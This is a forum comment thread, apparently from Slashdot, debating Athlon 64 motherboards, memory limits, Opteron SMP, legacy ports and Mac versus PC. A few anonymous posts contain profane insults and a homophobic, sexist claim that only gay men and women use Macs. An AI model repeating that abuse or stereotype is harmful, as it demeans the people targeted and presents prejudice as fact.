Yes, the whole comment was a bit tongue in cheek - the subject line was "facetious but...".

And yeah, my typing sucks.

My comment was just to point out that the feature list the grandparent asked for was available on the G5's board. I'm well aware that it's likely the last system on his mind to buy when looking for a 64 bit solution.

Oh, and just to chuck in some Simpsons - my car gets 40 rods to the hog's head and that's the way I likes it. I also welcome our new 64 bit overlords.

Re:Nice Apple ad...

[SaDan]

Yes, the whole comment was a bit tongue in cheek - the subject line was "facetious but...".

Which is why I had to bite. ;-)

And yeah, my typing sucks.

I had to read mine backwards three times to make sure I didn't have any spelling mistakes before posting.

My comment was just to point out that the feature list the grandparent asked for was available on the G5's board. I'm well aware that it's likely the last system on his mind to buy when looking for a 64 bit solution.

Fair enough. But you didn't say that originally...

Oh, and just to chuck in some Simpsons - my car gets 40 rods to the hog's head and that's the way I likes it. I also welcome our new 64 bit overlords.

See folks? A sense of humor goes a long way on Slashdot!

Because there's so many of them!

[distro stu]

And theyre all so good, the p4 guys would get pissed off :) but seriously, I love your site, I first turned up there in about 1856 looking for information on K6-2's...yes, that long ago, and ive been back ever since. you guys are legends, keep up the good work!

Damage? Pfft...

[SaDan]

Whatever.

It's nice to see someone (AMD) still willing to stick their neck out and try to compete with Intel.

I've never had an AMD Socket A CPU fail due to heat, or any other reason, and I've built plenty in my spare time for friends, family, and work. Probably not as many as some here, but enough to know I'm doing something right.

Hell, I just upgraded the AMD CPU in my laptop recently, and it's working great too!

I like the competition (love those newer P4s), I think AMD's made a move that will possibly introduce more competition into the mainstream PC industry, and also push the industry into moving forward with commodity 64-bit computing for the masses.

Kudos to AMD, keep up the good work.

Well, like what?

[SuperKendall]

Gimme a break. His wants in that list more than likely revolve around software he can't use on a Mac.

Are you saying he wants all that for gaming? Give some examples of other staff he would want that can't be satisfied by a Mac. Gaming is the last stronghold of the PC (and it is still pretty strong - no HL 2 probably ever for the Mac).

Re:Well, like what?

[SaDan]

Are you saying he wants all that for gaming? Give some examples of other staff he would want that can't be satisfied by a Mac. Gaming is the last stronghold of the PC (and it is still pretty strong - no HL 2 probably ever for the Mac).

And there's the best part of the "discussion" so far... No one's named any particular piece of software for either side.

Gaming is the last stronghold of the PC? I thought marketshare was...

KEEP YOUR FUCKING PAWS OFF MY PS2

[Anonymous Coward]

why, oh why they don't they remove the most fucking stable thing in my fucking PC...

I bet the PS2 keyboard I'm using is older than you bitch.

Re:KEEP YOUR FUCKING PAWS OFF MY PS2

[ffsnjb]

why, oh why they don't they remove the most fucking stable thing in my fucking PC...

If the PS/2 port on your board is the most stable part of your machine, you have serious issues. Send that machine to me, I'll fix it for you.

I bet the PS2 keyboard I'm using is older than you bitch.

IBM released the PS/2 connector in 1987; that keyboard is definitely not older than I am.
A little history lesson

Who's the bitch? Anonycow :)

Re:KEEP YOUR FUCKING PAWS OFF MY PS2

[Anonymous Coward]

Mod this comment up! Score==5 is way too low to capture the importance of this statement.

Beowulf

[rolling_rox]

Imagine a...O wait...never mind

Haha!

[Anonymous Coward]

Flamebait! Get it? Flame? Heat my house? Ah, this crowd sucks.

Dual channel memory

[Namarrgon]

Most dual Opteron boards I've seen do support dual-channel memory - except for the Tyan K8W, which supports dual-channel memory for each CPU. It's the only one, at least that has an AGP slot. I'd heard tell (unconfirmed) that memory slots for each CPU, apart from adding to the board cost, also confused most gfx drivers, since it bumped the AGP slot from PCI device 0 to PCI device 1.

Which boards have only single-channel DDR memory? I ask because I wish to avoid buying them :-)

Re:Dual channel memory

[Jeff DeMaagd]

Which boards have only single-channel DDR memory? I ask because I wish to avoid buying them :-)

The one that I really clearly remember, I think was one of the Tyans, but I thought I saw others. I'll try to look it up ASAP, but not tonight.

If adjacent slots really are second channels (looked like slots on same channel), then that might have been part of the confusion, but I hadn't seen anything like that before.

Not Bloody Likely

[Anonymous Coward]

YOU'LL be getting a nice lump of coal in your stocking, bitch. I've seen you when you're "sleeping", touching yourself in that special area. And I know that when you're awake, most of that time is spent not doing any work, and wasting time on that Slashdot site. Naughty little boy. No nice new 64-bit motherboard under the tree this year!

Wait for Intel's version

[epidemic99]

I have never had good luck with AMD products. I know some people really like them, but I rather wait for Intel to put out their version of the 64 bit processor. There isn't any big rush anyways, since there really isn't any software that can take advantage of the 64 bit yet.

At over 4x the price of 1 GB?!?

[Namarrgon]

If this is so, why would they expect people to buy them at that cost, instead of two 1 GB DIMMs separately?

It sounds to me more like it's a single DIMM with 2 x 1 Mb (128M x 64) chips on it.

Re:At over 4x the price of 1 GB?!?

[Anonymous Coward]

FOLLOW ONE OF THE LINKS THEN!!!

They clearly show and state that they are two seperate 1GB DIMMs.

"why would they expect people to buy them at that cost"

All of the links are advertising these for use in the G5. Obviously price is not their highest priority.

Re:At over 4x the price of 1 GB?!?

[chefren]

If I would like to fit 8GB in my brand new Athlon 64 video editing workstation with only 4 memory slots, I would have little choice but to grind my teeth and buy 2GB DIMMs.

Re:At over 4x the price of 1 GB?!?

[chefren]

Check out this as well: http://firingsquad.com/hardware/building_gaming_op teron_2003_Part2/page14.asp

Re:At over 4x the price of 1 GB?!?

[Namarrgon]

It would probably be cheaper to buy a Tyan K8W mobo (8 DIMM slots) and even new CPU(s), than to buy 4 x 2 GB DIMMs :-(

Stronghold

[SuperKendall]

By stronghold I mean, that a user must go there to perform some task. There are very few areas now that are not covered pretty well in the Mac space. For office style stuff you have the authoritative source (Microsoft) or a host of other smaller choices. For DTP you have Quark and Adobe. For graphics and video of course the choices on the Mac are just as good, and I think FCP is better for most users than anything on the PC.

For programming you have just about any tools you like, XCode especially is a really nice new environment. Java is integrated into the system the way it was meant to be originally when they were thinking of doing desktop Java apps.

What I am saying is that given almost any application space the Mac has either the gold standard programs or really good alternatives. Gaming is the only area where the PC has an absolutely compelling lead - if you are a dedicated PC gamer, no way are you going to be able to live without a PC. I decided I could live without some of the leading edge games (having a console anyway to scratch that itch), bought a Mac a few years ago, and have found no lack of software since then. Almost any hardware you can name now works on the Mac as well, so it's not even like I'm missing out on many cool gadgets (well, there are the Sony Palms...) and Bluetooth is really well supported on the Mac instead of an afterthought.

I really can't think of what else to mention. How about Photoshop CS requiring activation on the PC but not on the Mac?

Re:Stronghold

[SaDan]

If Apple truely had better software, and alternatives to Windows as you say, why doesn't Apple have more marketshare?

Apple's OS's are supposed to be easy. The software is supposed to be there. They've got the gadgets, and Apple laptops supposedly kick serious butt. Why aren't people switching?

I'm sorry, but x86(-64) as a platform is pretty tough to beat, for price or raw performance, regardless of whether you run Linux or Windows.

Re:Stronghold

[OmniVector]

people don't change because they don't know macs are better, and they don't like change.

i switched about 8 months ago, and i tell every person i talk to that complains about his pc sucking to get a mac. so far i've switched almost 4 friends.

people ARE switching, however the computer market is growing rapidly and the mac isn't growing as fast.

mac doesn't really sell an "entry level" craptacular beige box, so they don't compete on price. apple competes on quality, and far too many people care about the bottom line - price. it's the american way! in all seriousness, if you take a look at the fact that macs are usually high end (price) and macs have 3% of the market, then 3% of the market wants high end machines. the total market for high end machines might only be 10% tops. mac has a big chunk of the high end market if you look at it from that perspective.

Re:Stronghold

[Anonymous Coward]

While all this is true, most computer users are not homosexuals. I know this is hard to fathom, but a majority of people aren't homosexuals either. It's a proven fact that only homosexuals and women use macs. So it shouldn't be surprising that someone would want a x86-64 solution instead of a macintosh. Who would want everyone they know to think they are a homosexual? It's the same reason that guys don't buy miatas or fanny packs.

Re:Stronghold

[palutke]

What I am saying is that given almost any application space the Mac has either the gold standard programs or really good alternatives.

How about high-end MCAD? Is there an alternativer for Pro/E, Catia, Solidworks, etc for the Mac? Last time I looked there wasn't, but I'm interested in seeing if that's changed.

Re:Stronghold

[SaDan]

I'll agree with you on one point: Perspective does play a large role when choosing a system.

The rest of your post is too goofy to bother with.

Re:We have already reviewed 5 Athlon 64 motherboar

[Anonymous Coward]

HotHarware reviews tend to suck. Make sure to submit your non-sucky reviews to slashdot when you put them up!

Dual Processors

[cuban321]

Do either of the Athlon 64 series support more than one processor? Or do I have to look towards the opteron for that?

why, oh why..

[Anonymous Coward]

Can't they leave off the serial/parallel and ps2 ports? Removing the floppy connector, ata-133 and on-board audio would be great. They're totally unneccessary in this day and age for me, probably many others too. For those who need them, they should be an option. Even Abit's KV8-MAX3 has ps2 ports, which is a shame.

I'd probably drool and swipe the credit card if I could get an A64 board with 8 DDR slots, PCI Express, dual Gb LAN, 8 usb2 ports and 4 FW800 ports on the backpanel. 8 SATA connectors would sweeten the deal.

Dirty deeds done dirt cheap.

[Anonymous Coward]

"PLEASE wait for better sites to do reviews!!!"

Like Slashdot!!

Um...wait.

Slow down, cowboy!

[Anonymous Coward]

Sometimes that doesn't always work well. I have a USB mouse/keyboard adaptor and occasionally under both Linux and Windows the keyboard would disappear. Only a reboot would bring it back, and yes I had it set up properly in the BIOS. So until USB is as stable and dependable as those "legacy" ports? I'll be hanging onto them.

Re:Slow down, cowboy!

[the_2nd_coming]

hmm...no problems with them on my Mac.
maybe PCs should move away from BIOS and use Open Firmware. then the drivers for USB keyboards and Mice can be loaded at boot time from that and then be done with it.

What about Dual Procs?

[Martigan80]

I'll wait until they have a good affordable dual proc mobo before I buy one.

(I'm not rich; I don't buy every stinking new piece of equipment that comes out every month. I just do a one time buy every 2-3 years.)

Slashdot material?

[Andypoo]

This is just a boring hardware review, and nothing particularly special.

It only reviews 3 Athlon 64 boards, and there's nothing particularly promising there. What happened to Gigabyte's full-featured board offerings? Or Soltek's budget board? Or Albatron's motherboard? Or any of the other motherboard manufacturers?

I certainly don't consider these the top #3 boards available. More the "top #3 we were able to get our hands on for a review".

Slashdot isn't a crappy hardware review site. This review contains nothing special or particularly interesting.

I could imagine the first wiz-bang Athlon 64 samples being reviewed, but this article is just boring, and outdated, to be called Slashdot material imo.

Umm, /rant now :)

Andypoo.

Re:Slashdot material?

[GXAlan]

This wasn't considered /. material yet, even though it's the first article to explain that running >1GB on the Athlon64 drops you down to PC1600 bandwidth, and that the increase in latency on the P4 with >1GB of RAM produces slower real-world results than even the A64 at PC1600.

The problem ..

[Anonymous Coward]

Is BTX + PCI Express + Liquid cooling + whatever next year's tech marathon will bring to the market. Let's face it, this isn't a good time to buy a new machine, unless you don't want to use it for more than 1 year. Add to this that Athlon 64s are pretty wet ear processors and the boards as well. This is just like when the T-bird were released on the market. Better wait a couple of months, pich up a revised board, or wait at least a full year, pick up a next gen sys.

Re:too bad....I smell cpu smoke!

[MoFoQ]

I don't overclock. Just don't have the budget to go refrigeration. ^_^

One of the last athlons (XP chip) that died on me, also took the board with it.

And this isn't an isolated issue. I've seen SO many people have issues with AMD's especially with heat. (hell, both the super 7 based K6-x's and the Slot A Athlons are better in terms of reliability) Even people who have their system built professionally or a store bought brand (HP, Dell, Gateway, etc.) have had heat issues.

BTW, my K6-3 computer is still running (it's also slightly underclocked), 24/7 and I love it (the board's got 2MB of L3 cache). Now that's something that Intel never did. See, it's not that AMD's technical stuff is bad and neither is Intel, it's just the bureacracy that makes things bad.

This is a pretty weak troll.

[pr0ntab]

I'm pretty sure I've heard this post a few times before, or there are a lot of butterfinger tinkers out there.

Proud owner of two AMD systems, builder of 5, all of them no issues. Current is 2500Barton OC'd to 3000. Not to mention the 10 servers at work.

I guess it pays to review the motherboards and coolers before you buy them (this makes a ton of difference), and pick out the chips with the lowest thermal output per CPU clock available (less issues later on).

But that's just me.

Re:This is a pretty weak troll.

[MoFoQ]

Hope that was a general remark.

I too have built tens of systems, most don't have issues if done right (main issue is heat still, some times due to airflow or dust collection). And a Barton based dualie is on my list of things to built, pending budget allocation, hehehehe.
And most of the Socket A ones I've had issues with are older Socket A's and because of that, I've stopped testing my luck with newer ones, even if the issues have been solved (similar to that old saying...).

I'll eventually open my heart....er...wallet back to AMD though the best is to be able to open to both ^_^

Have you been under a rock?

[pr0ntab]

Intel won't do it for some time because they don't want to make corporate customers feel like idiots for buying Itanium or Itanium 2.

Intel's 64-bit processor will be hotter and slower clock for clock, and will use YET ANOTHER x86 instruction set extension, if ever implemented. (I would be presently surprised if they also supported amd64 extensions, however).

Yuck.

And if you don't think there isn't and 64-bit software out there right now (there is a ton!), or software that needs to take advantage of it (MATLAB anyone? DRAGGING THEIR FEET), then you'll probably NEVER need it for the next 5 years.

Re:Damage? Pfft...

[MoFoQ]

that with the stock heatsink?

(as for the 64bit thing, I do agree....just not stoked about it)

You want the Opteron boards then

[dido]

Athlon 64 was never speced for multiprocessor, in fact it will probably come out cheaper to build a dual processor Opteron board than a dual processor Athlon 64 board (which doesn't have a chance in hell of being in any other way better). AMD created the Opteron with three HyperTransport buses just for this purpose, and the Athlon 64 is handicapped with only one for the same reason. There are lots of Opteron multiprocessor boards out by now.

Re:Damage? Pfft...

[Maxhrk]

I, for one, salute AMD. My computer use k6(600 mhz i think) at least i lurve it forevermore. *purr*

I see

[Namarrgon]

Thanks, that's very helpful. From what you say, all Athlon64 boards should be created equal, short of someone not bothering to wire up the high address lines. Perhaps that's the basis of Via's supposed 4 GB limit?

I did see registered DDR400 2 GB DIMMs available here, or so they claim. A bit much for your average Athlon64 buyer, as you say, but you ought to be able to get at least 4 GB from two of those, if not 6 GB from all three slots.

There's a dually MSI workstation board that is vague about its total memory limit (Via K8T800, 4 slots, supports 2 GB registered DIMMs, 8 GB total) though I've seen at least one review that suggested it had a 3 GB limit.

Re:I see

[Anonymous Coward]

A Quick google-ing reveals 2gb Registered, ECC PC2100 Dimms are available for $835 shipped

http://www.knowledgemicro.com/detail.php?name=D2 GE266R_L

maybe SSE is working now?

[splerdu]

According to some hardware sites the SSE code in Quake 3 didn't work properly for previous AMD motherboards. Considering the game obviously makes very good use of SSE it could mean a big difference if the extensions are working properly for the Athlon64.

Re:maybe SSE is working now?

[splerdu]

previous AMD motherboards

my bad! I meant previous AMD cpus. Dyslexia....

The MSI board seems OK so far

[dbIII]

Put the Mandrake AMD64 beta on it last night, then the Nvidia drivers for AMD64. Putting the promise SATA driver (announced here - http://lwn.net/articles/40899/) on it tonight.

No, luck with win2k install (blue screen) XP (didn't like my licence code), so probably need to load some drivers from floppy during install.

Stock RedHat9 was on it for a couple of days, and it worked OK (mainly tar and sftp to clean off the other things on the drive) but only in 32 bit of course. I couldn't work out how to get Gentoo to port from a CD instead of the net, so gave up on that. I don't know whether to put that down to documentation or impatience.

Seems silly to have an AMD64 with a 12 inch mono monitor and an old Olivetti keyboard, but it gets the good stuff when the files are all copied over.

The ISA Legacy Factor

[zealotasd]

You aren't the only person stuck in the dream for a more efficient motherboard. I want none of what you want on a motherboard and am confident people will agree with me to not want any of my desires on their motherboard. The ISA Legacy design ensures an architecture to be compatible with previous *ware as well as provide a medium for growth. On a modern motherboard, you have The Old mixed with The New.

Look at a simple motherboard of the past 80x286 or 80x386 era, where all the parts are your enemy due to cost constraints and not necessarily efficiency and stability reasons. On the Stability Perspective, if a part becomes defective and can't be removed immediatly then the bad part(s) can and usualy cause undesired affects unto other parts and resources in a non-harmful yet annoying way (Part 15 B of FCC rules...bullshit yada-yada). When defective parts can't be removed, an entire system is often rendered non-operable. I have a suggestion for mtoherboard designers and vendors...

Return to the cheapskate/dark-age of computing! Build a motherboard with only RAM slots, a CPU slot, a BIOS, and 10 PCI slots! Wait, I have a better idea, scratch the previous request...build the motherboard with no integrated circuitry! Give us a breadboard; we'll know what we want on the breadboard and Build(TM) it ourselves! It's been a long time since geeks and consumers have been distinguishable when they rant "I build computer(s)" A real geek uses a soldering iron and a brain, while a consumer goes for the modular pre-assembled devices that connect together like Duplo blocks. Yeah, let the firmament be divided!

Realistically, the old design of motherboards was superior...a Bus with many expansion slots. This will resurrect the market for expansion cards such as those implementing multiple RS232 and RS422 interfaces. It'll also let people build a better Green PC(TM) such as not to have unneeded integrated hardware operating idle.

I can't wait for the Wheat Bread / White Bread flamewar on what the best homebrew breadboards are constructed with.

Re:The ISA Legacy Factor

[Anonymous Coward]

There are a few problems with going the non-integrated route. First, it costs a whole lot more to manufacture 10 expansion cards than 10 new functions on an IC. Second, everything is integrated into 1-2 chips these days, so reliability isn't really a negative factor. Contrast that with these "old school" designs you laud, where you have zillions of chips, any of which might be bad, and you really have no fscking clue which one. Third, you can't support 10 external PCI devices on a single bus; the PCI spec doesn't support that, for power and signaling reasons. Integrated functions help because they can be engineered directly into the chipset. So either you integrate everything on to one expansion board anyway, or you integrate it into the chipset.

Re:The ISA Legacy Factor

[zealotasd]

you can't support 10 external PCI devices on a single bus

I appreciate your response and I only remarked "10 PCI slots" as an example of desiring a superior modular motherboard as desire for expansion over integration. At the time of the 80x286 and 80x386 motherboards' heyday, they had 8 ISA slots with 3 of the ISA slots possibly having a VESA (VLB) extension as well as ISA slots being either the 8bit or (longer) 16bit interface.

Today's motherboards, as provided by a few root posters on this particular topic of this forum, are being designed and implemented poorly. The problem is under-rated parts are being installed in products that require higher quality: electrolytic capacitors are being used, and at worse event a few root posters provide that the electrolytic capacitors being installed are used in wrong capacity situation.

If cost is the motivating factor for installing low-quality integrated hardware then I hereby proclaim that I would rather have a simple motherboard with least ammount of integrated circuitry as long as the integrated circuitry is of a excessivly high and most efficient quality (MILSPEC, for example). This would mean that motherboard prices could rise in price because: (2) higher quality demands higher price (even though a more simple motherboard would have fewer parts), or (2) fewer dead motherboards/repairs/replacments mean lower motherboard sales and need for increasing price as the supply and demand for the era of the subjective technology will be flat.

Re:Yes. Cray thinks so too

[abhisarda]

Cray Picks AMD Chips for New Line

Red Storm System to Offer Supercomputer's Speed
And Low-Cost Components
By DON CLARK
Staff Reporter of THE WALL STREET JOURNAL

Cray Inc., which pioneered the market for supercomputers, hopes to blaze another trail with machines based on a new line of microprocessor chips from Advanced Micro Devices Inc.

The Seattle company developed the technology under a $90 million contract with Sandia National Laboratory in New Mexico, which is installing a system dubbed Red Storm that will be one of the most powerful in the world. Cray plans to announce Monday that it also will sell systems based on the Red Storm technology to other customers.

Cray's plans have spurred interest in the scientific community, because the company is addressing a technical bottleneck that has prevented systems based on inexpensive components to be applied to the most demanding computing tasks.

"This is an exciting development," said Horst Simon, director of the National Energy Research Scientific Computing Center in Berkeley, Calif. The center, which provides computing resources for research funded by the U.S. Department of Energy, may consider the Cray machines for its own future requirements, Mr. Simon said. "This type of technology is the correct approach to the current issues in high-performance computing," he said.

The term supercomputer is generally applied to the largest machines available, which are typically constructed from hundreds of microprocessor chips. Cray, the successor to a company formed by the late computer designer Seymour Cray, is known for augmenting those chips with proprietary circuitry that allows the chips to exchange data at very high speed. It sells a machine called X1 that uses a custom-designed microprocessor along with its communications chips.

Another approach, stressing low price over speed, uses standard chips from Intel Corp. or AMD along with circuit boards that are similar to those in personal computers or low-end server systems. Such low-price machines, called clusters, often use the free Linux operating system, further reducing costs.

But clusters aren't suited for some kinds of challenging tasks, because of delays in passing data among the many microprocessors. Wayne Kugel, Cray's program director for the Red Storm project, compares the problem to planning housing and transportation. "The more houses you add near the freeway, the more of a bottleneck you get," he said.

The Red Storm system combines the speed of proprietary supercomputers with low-cost components found in clusters. Cray says it designed communications chips that exchange data at close to the peak speed of AMD's Opteron microprocessor, or 6.4 billion bytes a second. That is about 20 times the speed of connections often used with clusters. The company hasn't set pricing or a precise delivery date, but expects to begin selling the system next year.

Cray's plans are good news for AMD, which is a much smaller player in server systems than rival Intel. But AMD is making some progress with Opteron, which was introduced last spring and competes with a high-end chip called Itanium 2 that Intel has been selling for high-end applications.
Oct 27.

On price, yes. But that is not the problem.

[SuperKendall]

The problem is multi-faceted. Entry level is a little higher in the Mac world, and the bigger problem is that people just don't understand what advantages they would get by switching. It's rather hard to explain because all the most pleasing things are seemingly little things, that reduce a lot of stress in day to day use of the system. I know what I'm talking about here because I use XP all day for work and have a Powerbook at home. Sometimes I swear Windows is determined to annoy you for no reason. I have felt the same from 98 to NT to XP (pretty much skipped W2K era) and really I think things are worse with XP.

Another issue is that a lot of the sort of people that are early adopters are, in fact, really into games - so the PC having a stronghold in that one area really slows down general adoption more than you would think.

The biggest issue is perhaps corporate support. The great thing about PC's is that you can get all this free software from work (which most people seem to do from my observation). So switching to the mac entails even more cost for a lot of people since they can no longer steal the software they need! And of course people will be comfortable buying what they use at work because they don't have to learn as much.

So really, it's pretty incredible that Apple is growing as much as it is given the number of things which work against it being adopted by anyone. I am seeing an increasing number of iBooks/Powerbooks at work and often people drop buy telling me they are thinking about buying a mac for the next computer. Using iTunes for Windows might help people feel even a little more comfortable, and get word of mouth to people directly instead of percolating through the traditional power users who are so reluctant to switch.

What's with the title?

[Sri Lumpa]

When reading the title I thought "Shit! AMD already have 3 problems with the Athlon 64". Shouldn't it be "Athlon 64 Motherboard Triple _Treat_ Round-Up"?

great, no SMP boards

[DrSkwid]

Excuse me for not being interested but I want my 8-way Athlon MB please, that way I can stick a new CPU into it when I can afford one.

Re:great, no SMP boards

[Psiren]

Doesn't the stepping on processors have to be the same to work in SMP? Or is that no longer an issue? I remember reading an article that said you should always buy all your processors together, so that they have the same stepping value. Can anyone correct me on this?

Re:great, no SMP boards

[Anonymous Coward]

Why limit yourself to 8? Build a cluster, run Linux with OpenMosix on it and get any number of extra processors you want!

c't tested 9 AMD64 boards...

[Lazy Jones]

Here's an (abbreviated) article (German!): http://www.heise.de/ct/03/22/146/

Re:We have already reviewed 5 Athlon 64 motherboar

[ruiner5000]

Thanks guys. We also have the first DDR400 cas 2 benchmarks with Athlon 64 FX. Previously registered DDR400 would only run at Cas 2.5. :) We compare with the same OCZ memory at Cas 2 and Cas 2.5.

How about you get an Opteron?

[Anonymous Coward]

n/t

So what,

[turgid]

I'm waiting for the Second Coming and Christmas.

Because no Athlon64 supports SMP.

[Anonymous Coward]

You should have a look at the Opteron, dual boards are available and there are some 4way things too I think.

Haven't seen any 8way systems yet, they would probably need more than one motherboard anyway...

Re:too bad....I smell cpu smoke!

[binary paladin]

Interesting. Up until a couple months ago I had a K6-3 450 machine and I had it underclocked too, down to 400 since it ran hot. Tyan board with 2 megs of cache. That little bastard was quite the workhorse! I'm all Athlon now, but I keep that processor around for good luck. (And it was hard to get a hold of! Of course I still have my k5 PR133 since it was in the first machine I ever built myself. *sniff* *sniff*)

Re:We have already reviewed 5 Athlon 64 motherboar

[Anonymous Coward]

chris tom is a cocksucker though ...isn't he???

AGP/PCI Bus width

[polyp2000]

Just curious, does anyone know if the AGP / PCI buses on these babies are 64bit? It seems to me that they are just the same old slots as the older motherboards. Wouldnt a true 64bit mobo require a radically different AGP/PCI slots in order to take advantage of the added bus width?

or maybe im just plain wrong ... any comments ?

Re:AGP/PCI Bus width

[Anonymous Coward]

I'm using the K8T NEO. It has 5V 32 bit PCI slots leaving my 3.3V 64 bit ultra 3 raid controller on the shelf :(

Re:AGP/PCI Bus width

[Anonymous Coward]

You're just plain wrong. Bandwidth (bits/second) = Bus Width (bits) * Frequency (/second). Whether you have a 64-bit processor or not has nothing to do with how much data you can stuff through a bus (for example, the original Pentium had a 64-bit data bus, even though it was a 32-bit processor--this is because 64-bit refers only to the size of the integers/addresses that the CPU can handle). The reason why we still have 32-bit PCI (and I think AGP is actually a 64-bit bus) is for compatibility reasons; every time you add more wires, you have to replace all your expansion cards (unless backward compatibility is designed in, and you still don't get the benefit of the new stuff). Faster buses (generally using higher frequencies, rather than widths) are being designed, but you'll just have to wait for those. Anyway, there isn't really a critical bandwidth shortage on the consumer end yet; servers have been using more exotic versions of PCI for years already.

Re:AGP/PCI Bus width

[Anonymous Coward]

Thats a good informative response, but the poster didnt mention anything about bandwidth.

AMD64 explained...was Re:FX-51?

[scharkalvin]

The Opteron (socket 940) is the sledgehammer cpu. It has (3)Three hypertransport links that are used for i/o channels (such as PCI) and inter-processor links, and a dual channel (128 bit) memory interface. There are currently three flavors of Opteron cpu's. The 100 series does NOT support intercpu communication on it's hypertransport links, so it is a SINGLE processor cpu. The 200 series supports interprocessor communication on a single hyperchannel link, it is a DUAL processor cpu. The 800 series supports interprocessor communication on all three hyperchannel links and is an EIGHT WAY SMP processor. (There is no 400 series processor, but such a beast would be possible if AMD chose to do so).

The Athlon64 (clawhammer)cpu has a SINGLE hyperchannel link and a single wide (64bit) memory channel. The Athlon64-FX is a modified series 100 Opteron cpu. It has a single hyperchannel link, but a dual wide (128bit) memory channel. This cpu is probably best considered a member of the sledgehammer family. If you are considering going with the 'FX' keep an eye on pricing. You might be able to get a true Opteron cheaper. Future 'FX' chips will be housed in a different socket which will preclude using Opteron cpus on the same motherboard.

OK...get it?

Re:AMD64 explained...was Re:FX-51?

[_|()|\|]

If you are considering going with the 'FX' keep an eye on pricing. You might be able to get a true Opteron cheaper.

You can already get an Opteron cheaper than the Athlon 64 FX-51, but not at 2.2 GHz, and not with support for PC3200.

Re:AMD64 explained...was Re:FX-51?

[scharkalvin]

The 248 series Opteron's are due out
'real soon' now.

All 3 are really limited to 1 GB

[GXAlan]

See this article.

When you run 3 512MB dimms, the Athlon64 drops to PC1600 speeds. That said, the P4 drop in performance is even worse. You really need the Opteron /Athlon 64 FX-51 to take advantage of huge amounts of memory.

SPDIF is not surround

[Mastagunna]

Unless you have a NFORCE 2 MCP+SS Board your SPDIF is only surround on pre-encoded surround sources, aka DVDs and AC3 files. No video game i know of supports SPDIF output in surround, unless its through A NForce 2. Did not know that, and now have a wonderful digital stero output from games, and the only surround I get is Prologic 2 "enhancements".

How fast does it work with XML

[Anonymous Coward]

i heard XML is the language of the future!
so i was wondering how fast the new 64bit architectures can compile XML code?!

Meet Mr. Nobody

[autechre]

Debian tests "frozen" for months and months before releasing, since they don't have to keep their latest release hidden as an incentive to get "subscribers" to support their business.

If 6-month-old software just isn't l337 enough for you, even packages which go into "testing" have to sit for at least a few weeks with no critical bugs.

That, and Lucky Goldstar has always been a manufacturer of...bargain products. I paid extra for my Plextor CD-RW, but it rips flawlessly and can read CDs which choke other drives.

A real benefit of always staying one step behind bleeding edge is cost. PC components which are sold in "grades" (such as speed in mhz) have always had a point where the price jumps up for increasingly less of a performance gain. Buy just below the jump, and you'll be happier later.

[I still remember buying the K6 166 while my friend bought the 233 for a lot more money. The 233 was an anomaly that run at a much higher (and hotter) voltage. I was able to clock my 166 at 210, and it still ran cooler. Plus, with a faster bus speed (83 vs. 66) it actually beat the 233 in some cases. Of course, overclocking isn't nearly as worthwile these days, especially if you run Linux.]

Re:Meet Mr. Nobody

[Anonymous Coward]

I posted the parent.

I use Debian precisely for that reason. I went through a lot of the distros out there and settled on Debian only after testing and finding that it really was more stable.

I pretty much standardized on HP CD burners: same reasons. I still have a ancient HP 2X that will read CDs that choke other CD readers. It still burns reliably, but I have a 10X and 16X that are sooo much faster that I rarely use it for burning anymore.

I agree with the cost issue; staying behind the bleeding edge is cheaper. Frankly, the other aspects of the system (FSB speed, disk speed, and garphics adapter speed) affect the system speed so much that I don't see a lot of benefit to the faster processors. I set them up routinely for work and there is no appreciable difference (at the screen with mouse and keyboard) beyond 1Ghz processor unless you are running games or something computation-intensive.

Given what I said above, overclocking is a dead issue with me. I love reading posts on OC sites that say "And it runs perfectly. I only have to reboot once in a while". Moron; look up perfectly in the dictionary.

stay away from shuttle

[nFriedly]

Nobody buy the shuttle board. Shuttles burned me one time too many and I cant recommend any product they make.

FX-51?-white box

[Anonymous Coward]

" No, there hasn't been any money in building boxes in a LONG time (like 5-6 years)."

Well I guess that explains why all those mom n' pop white box stores are going out of business. They haven't been making money for 5 or 6 years now.

The ISA Legacy Factor-Proliant.

[Anonymous Coward]

Why not grab yourself a Compaq Proliant? The MB has four Pentium Pro's. The memory board (with plenty of room) is seperate and directly above the main MB (right angles), and the hot-swappable PCI bus is the way it should be on the other side (mounted horizontally for easy access at the top). There's two fans with diverter for the MB, and two PSUs hot-swappable. The front left side has plenty of room for vertically mounted swappable SCSI drives, and the right side has plenty of room for anything you might want to add i.e. CDROM, Floppy, etc.

The only disadvantage is the size of the case. (dishwasher size), but I bet it would spank the ass of most consumer systems.

Re:The ISA Legacy Factor-Proliant.

[zealotasd]

I remember the ALR Quad6 and Revolution(?) motherboards...they had about 9 PCI slots with 9 EISA slots between them as well as four Socket-8 CPU slots. It's dimensions (motherboard) was almost a perfect square: 19 inches by 19 inches. They are still a viable solution because the motherboards are manufactured of excellent quality. Even better than th maximum Pentium Pro 200MHz CPUs, overdrive CPUs can be purchased on eBay that can be installed in place of the Socket-8 Pentium Pro CPUs for upto 333MHz of performance each and with MMX technology. I remember hearing somthing about the Overdrive CPU not being able to support quad solutions, but dual solutions are affirmed IIRC. Funny to think of it, because the Pentium Pro CPUs out-performed a slightly higher-rated Pentium II as long as MMX was not used. I don't remember how they compared with the Pentium Pro Overdrive CPUs rated for 333MHz, although the Overdrive CPUs provide the user MMX support unlike the Pentium Pro.

And one last thought, anyone looking for a ATX tower for the ALR Quad Pentium Pro motherboard need not look far...it fits perfectly in a 1U form-factor Pizza Hut carboard box LOL! I suppose someone can get creative with some Big Gulp cups on where to hide the power supply and IDE/SCSI media; just hope nobody gives you a re-fill. :)

The 3.2 ghz Intel is being smacked by a 2ghz AMD

[cybrthng]

Thats what counts.

I thought slashdotters loved engineering & style over simply brute forcing.. doesn't that win brownie points anymore?

MCAD

[SuperKendall]

I am actually not too familiar with the high-end CAD design space, so I am not too sure how the following programs compare, but I did find these:

Pro/Concept 2.0 (only just coming out to be sure)

CADENCE

Solidworks Licence server is running on OS X, which would aty least enable them to consider a port - and there are petitions calling for them to do a port.

The people making Catia appear to have some bits working on OS X (C++ component library).

This site looks to have some cool Mac related CAD info.

I think that overall, the release of the G5 will convince a number of high-end companies to port to the Mac as the system architechure is really a great improvement.

Re:MCAD

[palutke]

Interesting. Thanks for the info.

Re:too bad....I smell cpu smoke!

[MoFoQ]

nostaglic.

I have my ol' AMD 486DX4 somewhere.

Re:Damage? Pfft...

[SaDan]

All but one machine has used an AMD retail HSF.

Re:On price, yes. But that is not the problem.

[SaDan]

